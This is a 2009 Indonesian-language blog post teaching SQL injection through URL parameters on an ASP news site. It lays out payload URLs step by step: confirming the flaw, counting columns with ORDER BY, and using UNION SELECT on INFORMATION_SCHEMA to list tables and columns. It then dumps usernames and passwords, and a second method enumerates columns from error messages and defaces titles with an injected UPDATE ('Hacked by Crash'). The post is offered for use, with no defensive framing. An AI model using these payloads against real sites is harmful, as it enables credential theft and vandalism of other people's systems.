SQLi secret

situs yang interaktif dengan pengunjung terdapat “database” didalamnya
ada “INFORMATION_SCHEMA” yang menangani table “INFORMATION_SCHEMA.TABLES” yang namanya “table_name”
dan yang manangani column “INFORMATION_SCHEMA.COLUMNS” yang namanya “column_name”

#cara inject ada 2 macam yaitu :

1. melalui form input
2. melalui url
yang kita bahas disini adalah cara inject melalui url saja!

#command yang sering di gunakan :

1. ORDER BY | untuk mengetahui jumlah column
2. UNION SELECT | untuk mengambil informasi dari table atau column
3. AND | untuk membandingkan 2 kondisi true atau false
4. OR | untuk menentukan 1 kondisi saja
5. — | untuk menutup perintah
6. + | untuk spasi
7. ‘ | karakter evil
8. HAVING | untuk menampilkan error
9. DATABASE() | untuk mengetahui nama database
10. USER() | untuk mengetahui nama user database
11. DATADIR() | untuk mengetahui posisi letak database
12. CONCAT | untuk menggabungkan 2 column atau lebih
13. GROUP_CONCAT | untuk menampilkan group dari gabungan column
14. CONCAT_WS | sama seperti concat
15. FROM | mengambil data dari
16. UPDATE | mengubah data yang telah ada
17. @@servername |

attack 1
========

1.cari tau apakah vulnerable

http://www.site.com/news.asp?ArticleID=10+AND+1=0–
error
http://www.site.com/news.asp?ArticleID=10+AND+1=1–
tidak error, berarti command bekerja situs = vulnerable, mode inject = on 🙂

2. cari tau jumlah column yang di tampilkan dalam suatu page

http://www.site.com/news.asp?ArticleID=10+ORDER+BY+1–
normal
http://www.site.com/news.asp?ArticleID=10+ORDER+BY+2–
normal, ulangi sampai error
http://www.site.com/news.asp?ArticleID=10+ORDER+BY+4–
normal
http://www.site.com/news.asp?ArticleID=10+ORDER+BY+5–
error, berarti jumlah column 4 karena error di nomor 5

3. menampilkan nama table

http://www.site.com/news.asp?ArticleID=-1+UNION+SELECT+1,2,3,4+FROM+INFORMATION_SCHEMA.TABLES–

ganti nomor id ke negatif contoh nya “1” , akan tampil nomor rahasia di dalam page, nomor itu jadi kunci kita mencari nama table dan lain2
disini saya contohkan tampil nomor 3

http://www.site.com/news.asp?ArticleID=-1+UNION+SELECT+1,2,table_name,4+FROM+INFORMATION_SCHEMA.TABLES–

hasil nya akan tampil satu nama table kita contoh kan “news”

4. mencari table yang di inginkan

http://www.site.com/news.asp?ArticleID=-1+UNION+SELECT+1,2,table_name,4+FROM+INFORMATION_SCHEMA.TABLES+WHERE+table_name+news–

table yang tampil tadi adalah “news” kita tambah kan table news di ujung syntax untuk mencari nama table yang kita ingin kan, misal nya table “users”
ulangi langkah ini sampai kita dapatkan table “users”

5. menampilkan nama column

-www.site.com/news.asp?ArticleID=-1+UNION+SELECT+1,2,column_name,4+FROM+INFORMATION_SCHEMA.COLUMNS+WHERE+table_name=’users’–
akan tampil satu nama column misalnya “id” sedangkan kita mencari nama column seperti username,password, ulangin seperti langkah mencari table di atas
http://www.site.com/news.asp?ArticleID=-1+UNION+SELECT+1,2,column_name,4+FROM+INFORMATION_SCHEMA.COLUMNS+WHERE+table_name=’Users’+AND+column_name+’id’–

6. menampilkan data

kita sudah tau nama table dan column nya, misalnya nama table “user” dan nama column “username”,”password”
sekarang saat nya kita melihat data yang ada dalam table dan column tersebut
http://www.site.com/news.asp?ArticleID=-1+UNION+SELECT+1,2,username,4+FROM+Users–
hasil = jhon
http://www.site.com/news.asp?ArticleID=-1+UNION+SELECT+1,2,password,4+FROM+Users–
hasil = santrina

kesimpulan,
kita dapatkan satu user dengan username = jhon dan password = santrina
==========================================================================

Attack 2
========

1. cari nama table dan nama column

http://www.site.com/news.asp?ArticleID=10+HAVING+1=1–
kita dapatkan sebuah pesan error

“Column ‘news.id’ is invalid in the select list because it is not contained in
an aggregate function and there is no GROUP BY clause.”

dari situ kita tau ada table yang nama nya “news” dan ada column “id” didalamnya

2. cari column yang kita ingin kan

http://www.site.com/news.asp?ArticleID=10+GROUP+BY+id+HAVING+1=1–
kita gunakan command group by untuk manampilkan nama colum berikut nya
kita liat pesan error
“Column ‘news.title’ is invalid in the select list because it is not contained in
an aggregate function and there is no GROUP BY clause.”

3. mengganti tittle situs

http://www.site.com/news.asp?ArticleID=10+UPDATE+news+set+title=’Hacked by Crash’–
perintah diatas akan menyebabkan semua title article manjadi hacked by crash
http://www.site.com/news.asp?ArticleID=10+UPDATE+news+set+title=’Hacked by Crash’+WHERE+id=10—
perintah ini kan mengganti title article nomor 10 aja!

~ by ujang10 on October 28, 2009.

Leave a comment